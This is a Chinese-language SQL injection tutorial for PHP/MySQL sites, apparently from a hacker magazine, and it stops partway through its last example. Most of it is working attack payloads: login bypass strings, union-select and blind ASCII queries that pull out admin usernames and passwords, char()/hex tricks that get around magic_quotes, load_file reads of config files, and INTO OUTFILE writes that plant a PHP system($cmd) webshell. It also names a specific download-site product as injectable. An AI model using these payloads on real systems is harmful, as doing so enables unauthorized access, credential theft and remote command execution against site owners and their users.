magic_quotes_gpc=Off的情况虽然说很不安全,新版本默认也让
magic_quotes_gpc=On了,可是在很多服务器中我们还发现magic_quotes_gpc=Off的情况,例如www.qichi.*。
还有某些程序像vbb论坛就算你配置magic_quotes_gpc=On,它也会自动消除转义字符让我们有机可乘,所以说
magic_quotes_gpc=Off的注入方式还是大有市场的。

下面我们将从语法,注入点 and 注入类型几个方面来详细讲解mysql+php注入

A:从MYSQL语法方面先
1。先讲一些mysql的基本语法,算是给没有好好学习的孩子补课了哦~_~
    1)<strong>select </strong>
  <blockquote>select [STRAIGHT_join] [SQL_SMALL_RESULT]
  select_expression,...
  [INTO {OUTFILE | DUMPFILE} 'file_name' export_options]
  [FROM table_references
    [where where_definition]
    [GROUP BY col_name,...]
[ORDER BY {unsigned_integer | col_name | formula} [ASC | DESC] ,...]
    ] </blockquote>
常用的就是这些,select_expression指想要检索的列,后面我们可以用where来限制条件,我们也可以用into outfile将select结果输出到文件中。当然我们也可以用select直接输出
例如

<blockquote>mysql> select 'a';
+---+
| a |
+---+
| a |
+---+
1 row in set (0.00 sec) </blockquote>
具体内容请看mysql中文手册7.12节
下面说一些利用啦
看代码先
这段代码是用来搜索的哦

<blockquote><form method=“POST” action=“<? echo $PHP_SELF; ?>“>
<input type=“text” name=“search”><br />
<input type=“submit” value=“Search”>
</form>
<?php
………
select * FROM users where username like '%$search%' ORDER BY username
…….
?> </blockquote>
这里我们顺便说一下mysql中的通配符,'%'就是通配符,其它的通配符还有'*'和'_',其中" * "用来匹配字段名,而" % "用来匹配字段值,注意的是%必须与like一起适用,还有一个通配符,就是下划线" _ ",它代表的意思和上面不同,是用来匹配任何单个的字符的。在上面的代码中我们用到了'*'表示返回的所有字段名,%$search%表示所有包含$search字符的内容。

我们如何注入哩?
哈哈,和asp里很相似
在表单里提交
<u>Aabb%' or 1=1 order by id# </u>注:#在mysql中表示注释的意思,即让后面的sql语句不执行,后面将讲到。
或许有人会问为什么要用or 1=1呢,看下面,

把提交的内容带入到sql语句中成为

<blockquote>select * FROM users where username like '%aabb%' or 1=1 order by id# ORDER BY username </blockquote>

假如没有含有aabb的用户名,那么or 1=1使返回值仍为真,使能返回所有值

我们还可以这样

在表单里提交
<u>%' order by id# </u>或者
<u>' order by id# </u>带入sql语句中成了
<blockquote>select * FROM users where username like '% %' order by id# ORDER BY username </blockquote>和
<blockquote>select * FROM users where username like '%%' order by id# ORDER BY username </blockquote>当然了,内容全部返回。
列出所有用户了哟,没准连密码都出来哩。
这里就举个例子先,下面会有更精妙的select语句出现,select实际上几乎是无处不在的哦!
2)下面看up&#100;ate咯
Mysql中文手册里这么解释的:
<blockquote>up&#100;ate [LOW_PRIORITY] tbl_name SET col_name1=expr1,col_name2=expr2,...
    [where where_definition</blockquote>]
up&#100;ate用新值更新现存表中行的列,SET子句指出哪个列要修改和他们应该被给定的值,where子句,如果给出,指定哪个行应该被更新,否则所有行被更新。
详细内容去看mysql中文手册7.17节啦,在这里详细介绍的话会很罗嗦的哦。
由上可知up&#100;ate主要用于数据的更新,例如文章的修改,用户资料的修改,我们似乎更关心后者,因为......
看代码先哦
我们先给出表的结构,这样大家看的明白
<blockquote>create TABLE users (
id int(10) NOT NULL auto_increment,
login varchar(25),
password varchar(25),
email varchar(30),
userlevel tinyint,
PRIMARY KEY (id)
) </blockquote>
其中userlevel表示等级,1为管理员,2为普通用户
<blockquote><?php
//change.php
……
$sql = "up&#100;ate users SET password='$pass', email='$email' where id='$id'"
……
?> </blockquote>
Ok,我们开始注入了哦,在添email的地方我们添入
<blockquote>163@163.com',userlevel='1
sql语句执行的就是
up&#100;ate users SET password='youpass',
email='netsh@163.com',userlevel='1' where id='youid' </blockquote>
看看我们的userlevel就是1了,变成管理员了哟
哈哈,如此之爽,简直是居家旅行必备啊。
这里我们简单提一下单引号闭合的问题,如果只用了一个单引号而没有单引号与之组成一对,系统会返回错误。列类型主要分为数字类型,日期和时间类型,字符串类型,然而引号一般用在字符串类型里,而在数字类型里一般人都不会用到引号(然而却是可以用的,而且威力很大),日期和时间类型就很少用于注入了(因为很少有提交时间变量的)。在下面我们会详细将这几种类型的注入方式哦!

3)下面轮到insert了,它已经等的不耐烦了,简直就像中午食堂里的学生们。
Php中文手册是这样教我们的:
<blockquote>insert [LOW_PRIORITY | DELAYED] [IGNORE]
    [INTO] tbl_name [(col_name,...)]
    VALUES (expression,...),(...),... </blockquote>
insert把新行插入到一个存在的表中,insert ... VALUES形式的语句基于明确指定的值插入行,insert ... select形式插入从其他表选择的行,有多个值表的insert ... VALUES的形式在MySQL 3.22.5或以后版本中支持,col_name=expression语法在MySQL 3.22.10或以后版本中支持。
由此可见对于见不到后台的我们来说,insert主要就出现在注册的地方,或者有其它提交的地方地方也可以哦。

看看表的结构先
<blockquote>create TABLE membres (
id varchar(15) NOT NULL default '',
login varchar(25),
password varchar(25),
email varchar(30),
userlevel tinyint,
PRIMARY KEY (id)
) </blockquote>
我们仍然假设userlevel表示用户等级,1为管理者,2为普通用户哈。
代码如下
<blockquote><?php
//reg.php
……
$query = "insert INTO members VALUES('$id','$login','$pass','$email','2')" ;
……
?> </blockquote>
默认插入用户等级是2
现在我们构建注入语句了哦
还是在要我们输入email的地方输入:
<u>163@163.com','1')# </u>
sql语句执行时变成了:
<blockquote>insert INTO membres VALUES ('youid','youname','youpass',' netsh@163.com','1')#',?') </blockquote>
看我们一注册就是管理员了。
#号表示什么来着,不是忘了吧,晕了,这么快?
忘就忘了吧,下面再详细给你说说

2.下面说一说mysql中的注释,这个是很重要的,大家可不能再睡觉啦,要是再睡觉到期末考试的时候就挂了你们。
我们继续
相信大家在上面的几个例子中已经看到注释的强大作用了吧,这里我们将再详细介绍一下。
Mysql有3种注释句法
# 注射掉注释符后面的本行内容
-- 注射效果同#
/* ... */ 注释掉符号中间的部分

对于#号将是我们最常用的注释方法。
-- 号记得后面还得有一个空格才能起注释作用。
/*…*/ 我们一般只用前面的/*就够了,因为后面的我们想加也不行,是吧?

注意:在浏览器地址栏输入#时应把它写成%23,这样经urlencode转换后才能成为#,从而起到注释的作用。#号在浏览器的地址框中输入的话可什么也不是哦。
为了大家深刻理解
这里我给大家来个例题

有如下的管理员信息表

<blockquote>create TABLE alphaauthor (
Id tinyint(4) NOT NULL auto_increment,
UserName varchar(50) NOT NULL default '',
PASSWORD varchar(50) default NULL,
Name varchar(50) default NULL,
PRIMARY KEY (Id),
UNIQUE KEY Id (Id),
KEY Id_2 (Id)
) </blockquote>
<blockquote><?php
//Login.php
……
$query="select * from alphaauthor where UserName='$username' and Password='$passwd'";
$result=mysql_query($query);
$data=mysql_fetch_array($result);
if ($data)
  {
  Echo “重要信息”;
  }
  Else
  Echo “登陆失败”;
……
?> </blockquote>
我们在浏览器地址框直接输入
<i>http://***/login.php?username=a'or id=1 %23 </i>%23转换成#了
放到sql语句中
<blockquote>select * from alphaauthor where UserName='a'or id=1 #' and Password='$passwd' </blockquote>
#号后面的都别输入了,看看
这句话等价于
<blockquote>select * from alphaauthor where UserName='a'or id=1 </blockquote>

再仔细看看表的结构,只要有id=1的账户,返回的$data就应该为真
我们就直接登陆了,当然你也可以写
<blockquote>hppt://***/login.php?username=a'or 1=1 %23 </blockquote>一样的啦

3.下面将要出场的是……
对了,就是这些显示系统信息的间谍们

<blockquote>VERSION() 返回数据库版本信息
DATABASE() 返回当前的数据库名字,如果没有当前的数据库,DATABASE()返回空字符串。
USER()
SYSTEM_USER()
SESSION_USER() </blockquote>返回当前MySQL用户名
<blockquote>mysql> select user(),database(),version();
+----------------+------------+----------------+
| user()       | database() | version()     |
+----------------+------------+----------------+
| root@localhost | alpha     | 5.0.0-alpha-nt |
+----------------+------------+----------------+
1 row in set (0.01 sec) </blockquote>
不是很爽是不是?睁大你的大眼睛好好看哦 !

有时候很有用的哦,比如说你可以根据他的mysql版本看看他的mysql有没有什么溢出漏洞,没准我们就发现个好动东哈哈

4. 下面进入最重要的部分了,没睡觉的打起精神来,睡着了的醒一醒啦。
1)<strong>select | union select </strong>
还是php中文手册中讲的:
<u>select ... union [ALL] select ... [union select ...] </u>
union 在 MySQL 4.0.0 中被实现。
union 用于将多个 select 语句的结果联合到一个结果集中。

在 select 中的 select_expression 部分列出的列必须具有同样的类型。第一个 select 查询中使用的列名将作为结果集的列名返回。
select 命令是一个普通的选择命令,但是有下列的限制:
只有最后一个 select 命令可以有 INTO OUTFILE。

需要注意的是union前后的select字段数相同,只有这样union函数才能发挥作用。如果字段数不等将返回
ERROR 1222 (21000): The used select statements have a different number of columns 错误
晕咯,这样不好吧。咋半哩?
别急哈,急也没用的
例如:
已知alphadb表有11列
我们
<blockquote>mysql> select * from alphadb where id=351 union select 1,2,3,4,5,6,7,8,9,10 from alphaauthor; </blockquote>
我们只slect了10个数当然出错啦。
下面看
<blockquote>mysql> select * from alphadb where id=347 union select 1,2,3,4,5,6,7,8,9,10,11 from alphaauthor; </blockquote>
我们看看id=247中的数据先
<blockquote>mysql> select * from alphadb where id=347;
+-----+--------------------------------------------+-----------------
| id | title | content | importtime | author | accessing | addInto | type | showup | change_ubb | change_html |
+-----+--------------------------------------------+-----------------
| 347 | 利用adsutil.vbs+..--发表于黑客档案2004.6期 | 发表于黑客x档案第6期 | 2004
-03-28 11:50:50 | Alpha | 17 | Alpha |   2 |   1 |   1 | 1 |
+-----+--------------------------------------------+-----------------
1 row in set (0.00 sec)</blockquote>
我们看到,它的返回结果和
<blockquote>mysql> select * from alphadb where id=347 union select 1,2,3,4,5,6,7,8,9,10,11 from alphaauthor; </blockquote>
是相同的。
哦,大家或许会问,这样有什么用呢?
问的好。
Ok,继续试验
当我们输入一个不存在的id的时候
例如id=0,或者id=347 and 1<>1
再看看
<blockquote>mysql> select * from alphadb where id=347 and 1<>1 union select 1,2,3,4,5,6,7,8,9,10,11 from alphaauthor; </blockquote>

我们发现它把我们后面的1,2,3,4,5,6,7,8,9,10,11赋给了各个字段来显示。
哈哈,终于显示不一样了,可是这有什么用呢?
先不告诉你。
我们讲一个具体的例子先
<blockquote>http://localhost/site/display.php?id=347 </blockquote>看看

<blockquote>http://localhost/site/display.php?id=347 and 1<>1 union select 1,2,3,4,5,6,7,8,9,10,11 from alphaauthor;</blockquote>
下面我们来总结一下union的用法
Ok,知道怎么利用了不?不知道的话下面将会详细告诉你。
2)LOAD_FILE
这个功能太强大了,这也是林.linx在上一个专题中提到的方法。虽然说过了,可我也不得不再提出来。
Load_file可以返回文件的内容,记得写全文件的路径和文件名称
Etc.
我们在mysql的命令行下输入

<blockquote>mysql> select load_file('c:/boot.ini'); </blockquote>效果

可是我们在网页中怎么搞呢?
我们可以结合union select使用
<blockquote>http://localhost/site/display.php?id=347%20and%201<>1%20union%20select%201,2,load_file('c:/apache/htdocs/site/lib/sql.inc'),4,5,6,7,8,9,10,11 </blockquote>
这里的c:/apache/htdocs/site/lib/sql.inc并不是我的配置文件哦,:P

<s>我们为什么要把load_file('c:/apache/htdocs/site/lib/sql.inc')放在3字段呢?我们前面提到列类型一共有那么三种,而原来图7中显示3的地方应该是显示文章内容,应该是字符型的,而load_file('c:/apache/htdocs/site/lib/sql.inc')也一定是字符型的,所以我们猜测放在3字段可以顺利显示。</s>
其实还有很多好的利用方法,继续往下看哦!
3) <blockquote>select * from table into outfile'file.txt'</blockquote>
有啥用哩?
作用就是把表的内容写入文件,知道有多重要了吧,我们写个webshell吧,哈哈。
当然我们不只是导出表,我们还可以导出其它东西的哦,往下看啦。
假设有如下表

#
# 数据表的结构 `test`
#

<blockquote>create TABLE test (
a text,
b text
) ENGINE=MyISAM DEFAULT CHARSET=latin1; </blockquote>

#
# 导出下面的数据库内容 `test`
#

<blockquote>insert INTO test VALUES ('<?php system($cmd); ?>', NULL); </blockquote>
已知我的网站路径在C:/apache/htdocs/site/
好,看你表演哦,输入
<blockquote>http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,a,4,5,6,7,8,9,10,11%20from%20test%20into%20outfile%20'C:/apache/htdocs/site/cmd.php' </blockquote>
意思就是把表里的a列内容导出到cmd.php中
看看cmd.php里的内容先
1   2   <?php system($cmd); ?>   0000-00-00 00:00:00   5   6   7   8   9   10   11
我们执行一下看看先
<u>http://localhost/site/cmd.php?cmd=dir</u>

哈哈,果然很爽哦!
4)下面给大家讲述LOAD DATA INFILE的故事

<blockquote>LOAD DATA [LOW_PRIORITY] [LOCAL] INFILE 'file_name.txt' [REPLACE | IGNORE] INTO TABLE tbl_name </blockquote>
LOAD DATA INFILE语句从一个文本文件中以很高的速度读入一个表中。
因为这个语句一般情况下不能在浏览器里直接输入,所以作用不是很大。

这里举个例子来说说
表test的结构和上面介绍的一样

#
# 数据表的结构 `test`
#

<blockquote>create TABLE test (
a text,
b text
) ENGINE=MyISAM DEFAULT CHARSET=latin1; </blockquote>
我们在mysql命令行下输入:
Mysql>load data infile 'c:/cmd.php' into table test

其中c:/cmd.php内容为
<?php system($cmd); ?>
注意:上面的内容写在一行里哦。
通过上面的指令我们就把cmd.asp的内容输入到了test表中

实际上得到的就是上个例子test表中的内容!看看,再结合into outfile,是不是一个完美的组合呢。
基本的语法就将到这里了,可能还有很多重要的东西漏掉了哦,你可以去php中文手册里淘金,相信你一定会找到很多好东西的,自己挖掘吧。(随光盘我们付上一个php中文手册)

B:从注入方式上
主要有数字型,字符型和搜索类
1.   数字型
很常见了,我们上面举的就一直是字符型的例子,大家应该还都记得asp下如何破管理员密码,下面我们来看一下php下如何实现
我们在地址栏输入:
<blockquote>http://localhost/site/display.php?id=451%20and%201=(select%20min(id)%20from%20alphaauthor) </blockquote>
判断是否存在alphaauthor,如果有返回正常页面(一般情况啦,有的时候也返回其它什么的,这主要根据构造1=1 和1=2时的页面判断)

<blockquote>http://localhost/site/display.php?id=451%20and%201=(select%20min(id)%20from%20alphaauthor%20where%20length(username)=5) </blockquote>
判断是否username字段的长度为5

<blockquote>http://localhost/site/display.php?id=451%20and%201=(select%20min(id)%20from%20alphaauthor%20where%20length(username)=5%20and%20length(password)=32) </blockquote>跟上面差不多啦,判断password字段的长度

下面进入猜密码的阶段,用ascii方法来一位一位猜测吧。Ascii等同于asp下的asc,哈哈,经常看黑客X档案的一定很清楚啦。
<blockquote>http://localhost/site/display.php?id=451%20and%201=(select%20min(id)%20from%20alphaauthor%20where%20ascii(mid(username,1,1))=97) </blockquote>
用户名第一位哦ascii97就是字符a啦

<blockquote>http://localhost/site/display.php?id=451%20and%201=(select%20min(id)%20from%20alphaauthor%20where%20ascii(mid(username,2,1))=108) </blockquote>
第二位啦,这里只放这一个图啦,

下面省略X条。
反正我们最后是得出用户名和密码了。
我们会发现这里的注入方法几乎和asp下的注入是一样的,就是把asc变成ascii,把len变成length就可以了,最后我们就可以得到后台的管理员账号和密码,
当然我们有更简单的方法,可以直接用union的方法直接得到

<blockquote>http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,username,password,4,5,6,7,8,9,10,11%20from%20alphaauthor </blockquote>

账号是alpha,密码是一长串的东东,哈哈,简单明了,看到没有,这里显示出了union select的强大威力了吧。

上面讲的是在不通的表里面猜测内容,如果在同一个表里面我们还可以像下面这样哩:
下面的一段代码根据用户id显示用户信息

<blockquote><?php
//user.php
………..
$sql = "select * FROM user where id=$id";
…………

if (!$result)
{
echo "wrong";
exit;
}
else
echo "用户信息";
?> </blockquote>
猜测方法和上面几乎是一样的,就是我们不用再用select了。
我们输入
<blockquote>http://localhost/user.php?id=1 and length(password)=7 </blockquote>显示用户信息说明我们猜的正确,呵呵,comeon

<blockquote>http://localhost/user.php?id=1 and ascii(mid(password,1,1))=97 </blockquote>第一位密码
<blockquote>http://localhost/user.php?id=1 and ascii(mid(password,2,1))=97 </blockquote>
第二位哦,

通过这种方法最终我们也可以得出id=1的用户的账号密码

2.   下面我们来看看字符型的注入方式
在asp中字符型的注入方式很灵活,在php中字符型的注入就主要在
magic_quotes_gpc=Off的情况下进行了。(除非有另外一种情况,先不告诉你)

例如:
<blockquote><?php
//display.php
……
$query="select * from alphadb where id='”.$id.”'";
…………..
?> </blockquote>这样id就变成字符型的了。
不知道大家发现没有,假如我们这样写程序的话,安全性会有所提高的哦
  呵呵,继续了
好我们检验是否有注入先
<blockquote>http://localhost/site/display.php?id=451' and 1=1 and ''=' </blockquote><blockquote>http://localhost/site/display.php?id=451' and 1=2 and ''=' </blockquote>带入到sql语句里就是
<blockquote>select * from alphadb where id='451'and 1=1 and ''='' </blockquote>
<blockquote>select * from alphadb where id='451'and 1=2 and ''='' </blockquote>

如果你发现页面信息不同的话说明漏洞存在哦
或者
<blockquote>http://localhost/site/display.php?id=451' and 1=1 %23 </blockquote>
<blockquote>http://localhost/site/display.php?id=451' and 1=2 %23 </blockquote>
%23转化以后就是#,即注释的意思,上面说过了哦
这样的话就不用考虑那个引号的闭合问题了,实际很多时候我们推荐这种方法。
把它带入到sql语句里就成了
<blockquote>select * from alphadb where id='451'and 1=1 #' </blockquote>正是我们想要的哦!
看看效果吧,
<blockquote>http://localhost/site/display.php?id=451' and 1=1 %23 </blockquote>

正常显示了!

<blockquote>http://localhost/site/display.php?id=451' and 1=2 %23 </blockquote>

显示不正常,哈哈,说明问题存在
我们继续哦:
<blockquote>http://localhost/site/display.php?id=451'%20and%201=2%20%20union%20select%201,username,password,4,5,6,7,8,9,10,11%20from%20alphaauthor%23 </blockquote>

Ok,用户名和密码又出来了哦!
3.   大家一起来看看搜索型注入吧
搜索型的语句一般这样写
<blockquote><?php
//search.php
……
$query="select * from alphadb where title like '%$title%';
…………..
?> </blockquote>
不知道大家还是否记得asp里的注入呢?
不过不记得也没有关系的啦,我们看吧。
我们构建注入语句吧
在输入框输入
<s>a%' and 1=2 union select 1,username,3,4,5,6,7,8, password,10,11 from alphaauthor</s>#放到sql语句中成了

<blockquote>select * from alphadb where title like '%a%' and 1=2 union select 1,username,3,4,5,6,7,8, password,10,11 from alphaauthor# %' </blockquote>
哦

怎么样,出来了吧,哈哈,一切尽在掌握之中。

C:下面我们从注入地点上在来看一下各种注入攻击方式
1)   首先来看看后台登陆哦
代码先
<blockquote><?php
//login.php
…….
$query="select * from alphaauthor where UserName='"
.$HTTP_POST_VARS["UserName"]."' and
Password='". $HTTP_POST_VARS["Password"]."'";
$result=mysql_query($query);
$data=mysql_fetch_array($result);
if ($data)
{
echo “后台登陆成功”;
}
esle
{
echo “重新登陆”;
exit;
}

………
?> </blockquote>Username和password没有经过任何处理直接放到sql中执行了。
看看我们怎么绕过呢?
最经典的还是那个:
在用户名和密码框里都输入
'or''='
带入sql语句中成了
<blockquote>select * from alphaauthor where UserName=''or''='' and Password=''or''='' </blockquote>
这样带入得到的$data肯定为真,也就是我们成功登陆了。
还有其他的绕过方法,原理是一样的,就是想办法让$data返回是真就可以了。
我们可以用下面的这些中方法哦
1.
用户名和密码都输入'or'a'='a
Sql成了
<blockquote>select * from alphaauthor where UserName=''or'a'='a' and Password=''or'a'='a' </blockquote>

2.
用户名和密码都输入'or 1=1 and ''='
Sql成了
<blockquote>select * from alphaauthor where UserName=' 'or 1=1 and ''='' and Password=' 'or 1=1 and ''='' </blockquote>用户名和密码都输入'or 2>1 and ''='
Sql成了
<blockquote>select * from alphaauthor where UserName=' 'or 2>1 and ''='' and Password=' 'or 2>1 and ''='' </blockquote>

3.
用户名输入'or 1=1 # 密码随便输入
Sql成了
<blockquote>select * from alphaauthor where UserName=' 'or 1=1 # and Password='anything' </blockquote>后面部分被注释掉了,当然返回还是真哦。
    4.
假设admin的id=1的话你也可以

用户名输入'or id=1 # 密码随便输入
Sql成了
<blockquote>select * from alphaauthor where UserName=' 'or id=1 # and Password='anything' </blockquote>

怎么样?直接登陆了哦!

俗话说的好,只有想不到没有做不到。
还有更多的构造方法等着课后自己想啦。

2)第二个常用注入的地方应该算是前台资料显示的地方了。
上面已经多次提到了呀,而且涉及了数字型,字符型等等,这里就不再重复了哈。
只是举个例子回顾一下
碧海潮声下载站 - v2.0.3 lite有注入漏洞,代码就不再列出来了
直接看结果
<blockquote>http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union%20select%201,2,password,4,username,6,7,8,9,10,11,12,13,14,15,16,17,18%20from%20dl_users </blockquote>

看看,我们又得到我们想要的了
用户名alpha
密码一长串。
为什么我们要把password放在3字段处,把username放在5字段处了,我们上面已经提过了哦,就是我们猜测3和5段显示的应该是字符串型,而与我们要显示的username和password的字段类型应该相同,所以我们这样放了哦。
为什么要用18个字段呢?不知道大家还是否记得在union select介绍那里我们提到union必须要求前后select的字段数相同,我们可以通过增加select的个数来猜测到需要18个字段,只有这样union select的内容才会正常显示哦!
3)其它如资料修改,用户注册的地方主要得有用户等级的应用。
我们在上面讲述up&#100;ate和insert的时候都已经讲到,因为不是很常用,这里就不再阐述,在下面将会提到一些关于up&#100;ate和insert的高级利用技巧。

二:下面将要进入magic_quotes_gpc=On时候的注入攻击教学环节了
  当magic_quotes_gpc=On的时候,交的变量中所有的 ' (单引号),
“ (双引号), \ (反斜线) 和 空字符会自动转为含有反斜线的转义字符。
  这就使字符型注入的方法化为泡影,这时候我们就只能注入数字型且没有
Intval()处理的情况了,数字型的我们已经讲了很多了是吧,由于数字型没有用到单引号自然就没有绕过的问题了,对于这种情况我们直接注入就可以了。
1)假如是字符型的就必须得像下面这个样子,没有在字符上加引号 。

这里我们要用到一些字符串处理函数先,
字符串处理函数有很多,这里我们主要讲下面的几个,具体可以参照mysql中文参考手册7.4.10。

  char() 将参数解释为整数并且返回由这些整数的ASCII代码字符组成的一个字符串。
当然你也可以用字符的16进制来代替字符,这样也可以的,方法就是在16进制前面加0x,看下面的例子就明白了。

<blockquote><?php
  //login.php
  ……
$query="select * from ".$art_system_db_table['user']."
where UserName=$username and Password='".$Pw."'";
……
?> </blockquote>
假设我们知道后台的用户名是alpha
转化成ASCII后是char(97,108,112,104,97)
转化成16进制是0x616C706861
(我们将在光盘中提供16进制和ascii转换工具)
好了直接在浏览器里输入:

<blockquote>http://localhost/site/admin/login.php?username=char(97,108,112,104,97)%23 </blockquote>
sql语句变成:

<blockquote>select * from alphaAuthor where UserName=char(97,108,112,104,97)# and Password='' </blockquote>

  正如我们期望的那样,他顺利执行了,我们得到我们想要的。
  当然咯,我们也可以这样构造
<blockquote>http://localhost/site/admin/login.php?username=0x616C706861%23 </blockquote>
sql语句变成:
<blockquote>select * from alphaAuthor where UserName=0x616C706861%23# and Password='' </blockquote>
我们再一次是成功者了。很有成就感吧,

或许你会问我们是否可以把#也放在char()里
实际上char(97,108,112,104,97)相当于'alpha'
注意是alpha上加引号,表示alpha字符串。
我们知道在mysql中如果执行

<blockquote>mysql> select * from dl_users where username=alpha;
ERROR 1054 (42S22): Unknown column 'alpha' in 'where clause' </blockquote>
看返回错误了。因为他会认为alpha是一个变量。所以我们得在alpha上加引号。
如下
<blockquote>mysql> select * from dl_users where username='alpha'; </blockquote>
这样才是正确的。
如果你把#号也放到那里去了,就成了'alpha#'
带入sql语句中
select * from dl_users where username='alpha#';
当然是什么也没有了,因为连alpha#这个用户都没有。
好,下面我们再来看个例子,

<blockquote><?php
  //display.php
  ……
$query="select * from ".$art_system_db_table['article']."
where type=$type;
……
?> </blockquote>

代码根据类型来显示内容,$type没有任何过滤,且没有加引号放入程序中。
假设type中含有xiaohua类,xiaohua的char()转换后是
char(120,105,97,111,104,117,97)

我们构建
<blockquote>http://localhost/display.php?type=char(120,105,97,111,104,117,97) and 1=2 union select 1,2,username,4,password,6,7,8,9,10,11 from alphaauthor </blockquote>
带入sql语句中为:
<blockquote>select * from ".$art_system_db_table['article']."
where type=char(120,105,97,111,104,117,97) and 1=2 union select 1,2,username,4,password,6,7,8,9,10,11 from alphaauthor </blockquote>
看看,我们的用户名和密码照样出来了哦!没有截图,想像一下咯:P

2)   或许有人会问,在magic_quotes_gpc=On的情况下功能强大的load_file()还能不能用呢?
这正是我们下面要将的问题了,load_file()的使用格式是load_file('文件路径')
我们发现只要把'文件路径'转化成char()就可以了。试试看哦
<blockquote>load_file('c:/boot.ini')转化成
load_file(char(99,58,47,98,111,111,116,46,105,110,105)) </blockquote>
  放到具体注入里就是
<blockquote>http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union%20select%201,2,load_file(char(99,58,47,98,111,111,116,46,105,110,105)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
 </blockquote>
  看看,我们看到了boot.ini的内容了哦。
很可惜的是into outfile'' 不能绕过,不然就更爽了。但是还是有一个地方可以使用select * from table into outfile'' 那就是….(先卖个关子,下面会告诉你)

三:一些注入技巧,很多都是个人发现哦
1.union select的技巧
union 用于将多个 select 语句的结果联合到一个结果集中。在 select 中的 select_expression 部分列出的列必须具有同样的类型。第一个 select 查询中使用的列名将作为结果集的列名返回。
然而有我们可以用下面的方法来猜测列的类型,可是省去很多时间
我们先
<blockquote>http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 </blockquote>

看看软件描述里写着3,作者里写着4,我们就可以猜测3和4的位置是字符型的,我们再看14前面的是下载次数,这就应该是int型的了,对吧。
好了,我们根据这里来构建吧,估计username和password也是字符型的。
试试看哦
<blockquote>http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union%20select%201,2,password,4,username,6,7,8,9,10,11,12,13,14,15,16,17,18%20from%20dl_users </blockquote>

哈哈,这种方法只要看看就可以大概猜到了。
2.load_file读写文件的技巧
不知道你有没有发现过在我们用load_file()读写php文件时不能在网页中显示。例如:
<s>'C:/apache/htdocs/site/lib/sql.inc.php'</s>转化为16进制为:<s>0x433A2F6170616368652F6874646F63732F736974652F6C69622F73716C2E696E632E706870</s>
我们构造如下
<blockquote>http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,load_file(0x433A2F6170616368652F6874646F63732F736974652F6C69622F73716C2E696E632E706870),4,5,6,7,8,9,10,11 </blockquote>

发现在文章内容的地方本来该显示sql.inc.php的,可是却空空之,为何呢?
我们看看网页的源代码先

哈哈,看看标记的地方,晕死,原来在这里啊,可是为什么哩?
原来html中< >用于标注,哈哈,明白了吧!下次可得记得在哪里找哦。
4.   md5的恶梦
山东大学的王博士最近可是搞md5搞的红透了,我们也来搞一搞吧,我们比他更爽,不用计算,哈哈。
md5我们是有办法绕过的,但是并不是哪里都可以,php中的md5函数就不能绕过,因为你输入的所有东西都在里面,根本跑不出。可以绕过的是sql语句中的md5。当然别的sql中的函数也是可以绕过的,道理相同哦。
看例子先:
<blockquote><?php
//login.php
……
$query="select * from alphaauthor where UserName=md5($username) and Password='".$Pw."'";
……
?> </blockquote>
我们直接在浏览器提交
<blockquote>http://localhost/admin/login.php?username=char(97,98)) or 1=1 %23 </blockquote>
带入sql语句成为<blockquote>select * from alphaauthor where UserName=md5(char(97,98)) or 1=1 #) and Password='".$Pw."' </blockquote>
记得md5里面放的是字符,因为后面有or 1=2,所以我们随便放了个char(97,98).   Ok,登陆成功了哦!看看,md5在我们面前也没有什么用处。
5.   核心技术,利用php+mysql注入漏洞直接写入webshell。。
直接利用注入得到webshell,这应该是大家都很想的吧,下面就教给你。
这里假设你已经知道了网站所在的物理路径,我这里假设网站路径为c:/apache/htdocs/site。网站的mysql连接信息放在/lib/sql.inc.php里
1)适用于magic_quotes_gpc=Off
假设我们可以上传图片,或者txt,zip,等其它东西,我们把我们的木马改成
jpg后缀的,上传后路径为/upload/2004091201.jpg
2004091201.jpg中的内容为 <?php system($cmd) ?>
好,我们开始<blockquote>http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,load_file('C:/apache/htdocs/site/upload/2004091201.jpg'),4,5,6,7,8,9,10,11%20into%20outfile'C:/apache/htdocs/site/shell.php' </blockquote>
因为适用了outfile,所以网页显示不正常,但是我们的任务是完成了。
我们赶快去看看http://localhost/site/shell.php?cmd=dir
Webshell我们已经创建成功了。看到最前面的12了没?那就是我们select 1,2所输出的!
2)下面再讲一个适用于magic_quotes_gpc=On的时候保存webshell的方法哦,显然肯定也能用在于magic_quotes_gpc=Off的时候啦。
我们直接读他的配置文件,用技巧2介绍的方法
<blockquote>http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,load_file(0x433A2F6170616368652F6874646F63732F736974652F6C69622F73716C2E696E632E706870),4,5,6,7,8,9,10,11 </blockquote>
得到sql.inc.php内容为
<blockquote><?$connect=@mysql_connect("localhost","root","") or die("Unable to connect to SQL server");mysql_select_db("alpha",$connect) or die("Unable to select database");?> </blockquote>
好了我们知道了mysql的root密码了,我们找到phpmyadmin的后台

http://localhost/phpmyadmin/

用root密码为空登陆。
然后我们新建立一个表结构内容如下:

#
# 数据表的结构 `te`
#
<blockquote>create TABLE te (
cmd text NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=latin1; </blockquote>
#
# 导出下面的数据库内容 `te`
#
<blockquote>insert INTO te VALUES ('<?php system($cmd) ?>'); </blockquote>
Ok,是我们用select * from table into outfile''的时候了
直接在phpmyadmin的sql输入
<blockquote>select * FROM `te` into outfile 'C:/apache/htdocs/site/cmd1.php'; </blockquote>
Ok,成功执行,我们去http://localhost/site/cmd1.php?cmd=dir看看效果去 。

不过不知道大家有没有发现我们是在magic_quotes_gpc=On的情况下完成这项工作的,竟然在phpmyadmin里可以不用考虑引号的限制,哈哈,说明什么?说明phpmyadmin太伟大了,这也就是我们在谈magic_quotes_gpc=On绕过时所卖的那个关子啦!
6.发现没有我们还可以利用up&#100;ate和insert来插入我们的数据,然后来得到我们的webshell哦,还用上面的那个例子,
<blockquote><?php
//reg.php
……
$query = "insert INTO members
VALUES('$id','$login','$pass','$email','2')" ;
……
?> </blockquote>
我们在email的地方输入<blockquote><?php system($cmd) ?> </blockquote>
假设我们注册后的id为10
